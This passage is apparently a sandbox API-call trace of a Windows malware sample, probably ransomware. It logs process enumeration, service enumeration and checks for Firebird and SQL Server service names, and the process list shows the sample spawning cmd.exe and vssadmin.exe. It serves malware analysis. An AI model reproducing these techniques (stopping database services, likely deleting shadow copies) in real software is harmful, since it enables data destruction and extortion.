(lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0258.814] lstrlenW (lpString="Schedule") returned 8 [0258.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0258.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0258.814] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0258.814] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0258.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0258.814] lstrlenW (lpString="SecurityHealthService") returned 21 [0258.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0258.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0258.814] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0258.814] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0258.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0258.814] lstrlenW (lpString="SENS") returned 4 [0258.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0258.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0258.814] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0258.814] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0258.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0258.814] lstrlenW (lpString="ShellHWDetection") returned 16 [0258.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0258.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0258.814] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0258.815] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0258.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0258.815] lstrlenW (lpString="Spooler") returned 7 [0258.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0258.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0258.815] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0258.815] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0258.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0258.815] lstrlenW (lpString="StateRepository") returned 15 [0258.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0258.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0258.815] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0258.815] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0258.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0258.815] lstrlenW (lpString="SysMain") returned 7 [0258.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0258.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0258.815] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0258.815] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0258.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0258.815] lstrlenW (lpString="SystemEventsBroker") returned 18 [0258.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0258.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0258.815] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0258.815] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0258.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0258.815] lstrlenW (lpString="Themes") returned 6 [0258.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0258.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0258.816] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0258.816] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0258.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0258.816] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0258.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0258.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0258.816] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0258.816] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0258.816] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4032048 | out: hHeap=0x630000) returned 1 [0258.817] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1280 [0258.822] Process32FirstW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.823] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0258.823] lstrlenW (lpString="System") returned 6 [0258.824] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0258.825] lstrlenW (lpString="smss.exe") returned 8 [0258.825] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0258.826] lstrlenW (lpString="csrss.exe") returned 9 [0258.826] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0258.828] lstrlenW (lpString="wininit.exe") returned 11 [0258.828] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0258.829] lstrlenW (lpString="csrss.exe") returned 9 [0258.829] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0258.830] lstrlenW (lpString="winlogon.exe") returned 12 [0258.830] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0258.831] lstrlenW (lpString="services.exe") returned 12 [0258.831] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0258.832] lstrlenW (lpString="lsass.exe") returned 9 [0258.832] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0258.833] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0258.833] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0258.834] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0258.834] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.835] lstrlenW (lpString="svchost.exe") returned 11 [0258.836] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.837] lstrlenW (lpString="svchost.exe") returned 11 [0258.837] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0258.838] lstrlenW (lpString="dwm.exe") returned 7 [0258.838] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.839] lstrlenW (lpString="svchost.exe") returned 11 [0258.839] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.840] lstrlenW (lpString="svchost.exe") returned 11 [0258.840] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.841] lstrlenW (lpString="svchost.exe") returned 11 [0258.841] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.842] lstrlenW (lpString="svchost.exe") returned 11 [0258.842] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.843] lstrlenW (lpString="svchost.exe") returned 11 [0258.843] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.985] lstrlenW (lpString="svchost.exe") returned 11 [0258.986] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.986] lstrlenW (lpString="svchost.exe") returned 11 [0258.986] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.987] lstrlenW (lpString="svchost.exe") returned 11 [0258.987] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.988] lstrlenW (lpString="svchost.exe") returned 11 [0258.988] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.989] lstrlenW (lpString="svchost.exe") returned 11 [0258.989] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0258.990] lstrlenW (lpString="spoolsv.exe") returned 11 [0258.990] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.991] lstrlenW (lpString="svchost.exe") returned 11 [0258.991] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0258.992] lstrlenW (lpString="audiodg.exe") returned 11 [0258.992] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0258.993] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0258.993] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0258.994] lstrlenW (lpString="Memory Compression") returned 18 [0258.994] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0258.994] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0258.994] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0258.995] lstrlenW (lpString="sihost.exe") returned 10 [0258.995] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.996] lstrlenW (lpString="svchost.exe") returned 11 [0258.996] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0258.997] lstrlenW (lpString="taskhostw.exe") returned 13 [0258.997] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0258.998] lstrlenW (lpString="msoia.exe") returned 9 [0258.998] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0258.999] lstrlenW (lpString="explorer.exe") returned 12 [0258.999] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0258.999] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0259.000] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0259.000] lstrlenW (lpString="SearchUI.exe") returned 12 [0259.000] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0259.001] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0259.001] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0259.002] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0259.002] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0259.002] lstrlenW (lpString="load0.exe") returned 9 [0259.002] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0259.003] lstrlenW (lpString="cmd.exe") returned 7 [0259.003] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0259.004] lstrlenW (lpString="conhost.exe") returned 11 [0259.004] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x272c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3c4, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0259.005] lstrlenW (lpString="consent.exe") returned 11 [0259.005] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0259.006] lstrlenW (lpString="vssadmin.exe") returned 12 [0259.006] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0259.006] CloseHandle (hObject=0x1280) returned 1 [0259.007] Sleep (dwMilliseconds=0x1f4) [0259.617] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64730 [0259.656] EnumServicesStatusExW (in: hSCManager=0x3f64730, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0259.657] GetLastError () returned 0xea [0259.657] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x4074628 [0259.657] EnumServicesStatusExW (in: hSCManager=0x3f64730, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4074628, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4074628, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0259.658] CloseServiceHandle (hSCObject=0x3f64730) returned 1 [0259.658] lstrlenW (lpString="Appinfo") returned 7 [0259.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0259.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0259.659] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0259.659] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0259.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0259.659] lstrlenW (lpString="AppXSvc") returned 7 [0259.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0259.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0259.659] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0259.659] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0259.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0259.659] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0259.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0259.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0259.659] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0259.659] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0259.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0259.659] lstrlenW (lpString="Audiosrv") returned 8 [0259.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0259.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0259.659] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0259.659] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0259.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0259.659] lstrlenW (lpString="BFE") returned 3 [0259.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0259.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0259.660] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0259.660] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0259.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0259.660] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0259.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0259.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0259.660] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0259.660] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0259.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0259.660] lstrlenW (lpString="CDPSvc") returned 6 [0259.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0259.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0259.660] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0259.660] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0259.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0259.660] lstrlenW (lpString="ClickToRunSvc") returned 13 [0259.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0259.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0259.660] lstrcmpiW (lpString1="sqlwriter", 